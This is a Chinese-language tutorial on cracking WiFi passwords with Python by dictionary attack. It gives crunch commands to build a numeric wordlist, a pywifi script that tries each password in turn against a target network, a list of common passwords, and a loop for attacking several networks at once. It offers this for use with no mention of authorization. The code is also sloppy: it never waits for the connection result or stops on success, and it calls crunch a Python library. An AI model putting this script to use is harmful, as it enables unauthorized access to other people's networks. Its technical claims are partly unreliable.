Python利用字典破解WIFI密码的方法

  • Post category:Python

一、介绍

破解WIFI密码一般有两种方法:1.利用破解工具暴力破解;2.利用字典破解。利用字典破解WIFI密码的方法比较简单,原理就是利用常用密码列表进行暴力破解,这种方法在WIFI密码比较简单的情况下会比较有效。

二、制作字典文件

1.使用Python中的crunch库

crunch是一款功能强大的生成单词列表的工具,可以使用它制作字典文件。下面演示如何使用crunch制作密码字典:

首先安装crunch,使用以下命令:

sudo apt-get install crunch

然后使用以下命令生成6~8位数字的字典文件:

crunch 6 8 0123456789 -o pwd_dict.txt

上述命令表示生成6~8位数字的字典文件,把生成的结果保存到pwd_dict.txt文件中。

2.使用Kali Linux中的crunch

如果您使用的是Kali Linux,那么可以使用内置的crunch工具来生成密码字典。首先打开终端,使用以下命令生成6~8位数字的字典文件:

crunch 6 8 0123456789 -o pwd_dict.txt

三、字典破解WIFI密码

下面演示如何使用Python字典破解WIFI密码:

import pywifi
from pywifi import const

def wifi_connect(wifiname,password):
    wifi=pywifi.PyWiFi()
    ifaces=wifi.interfaces()
    iface=ifaces[0]
    iface.disconnect()
    #测试链接
    profile=pywifi.Profile()
    profile.ssid=wifiname
    profile.auth=const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher=const.CIPHER_TYPE_CCMP
    profile.key=password
    iface.remove_all_network_profiles()
    tmp_profile=iface.add_network_profile(profile)
    iface.connect(tmp_profile)
    #判断是否链接成功
    if iface.status()==const.IFACE_CONNECTED:
        print("Connection Succeed!")
    else:
        print("Connection Failed!")

def read_pwd_dict(file_path):
    """
    读取密码字典文件
    """
    with open(file_path, 'r') as f:
        data = f.read()
    pass_list = data.split('\n')
    return pass_list

def main():
    wifiname="WIFINAME" #WIFI名称
    pass_list=read_pwd_dict("./pwd_dict.txt") #读取密码字典文件
    for password in pass_list:
        print("Testing:",password)
        wifi_connect(wifiname,password)

if __name__ == '__main__':
    main()

在代码中,首先调用了Pywifi库,并使用WiFi名称和密码进行连接操作。然后使用read_pwd_dict函数读取密码字典文件,将读取到的密码存储到列表中。之后使用for循环遍历密码列表,依次尝试连接Wi-Fi网络,直到连接成功或者密码列表遍历完成。

四、示例

1.使用常用密码字典

在read_pwd_dict函数中使用自己制作的密码字典文件,可以提高破解WIFI密码的效率。当然,如果您没有自己制作的字典文件,可以使用常用密码字典文件。这里提供一个密码字典文件,包含一些较为常用的密码:

qwertyuiop
asdfghjkl
zxcvbnm
123456
123456789
password

2.同时破解多个WIFI密码

如果您需要同时破解多个WIFI密码,可以在for循环中嵌套另一个for循环,分别遍历WIFI名称列表和密码列表,例如:

wifinames=["WIFI1","WIFI2","WIFI3"]
pass_list=read_pwd_dict("./pwd_dict.txt") #读取密码字典文件
for wifiname in wifinames:
    for password in pass_list:
        print("Testing:",password)
        wifi_connect(wifiname,password)

上述代码中,首先定义WIFI名称列表wifinames,然后在for循环中遍历WIFI名称列表和密码列表,依次尝试连接多个WIFI网络。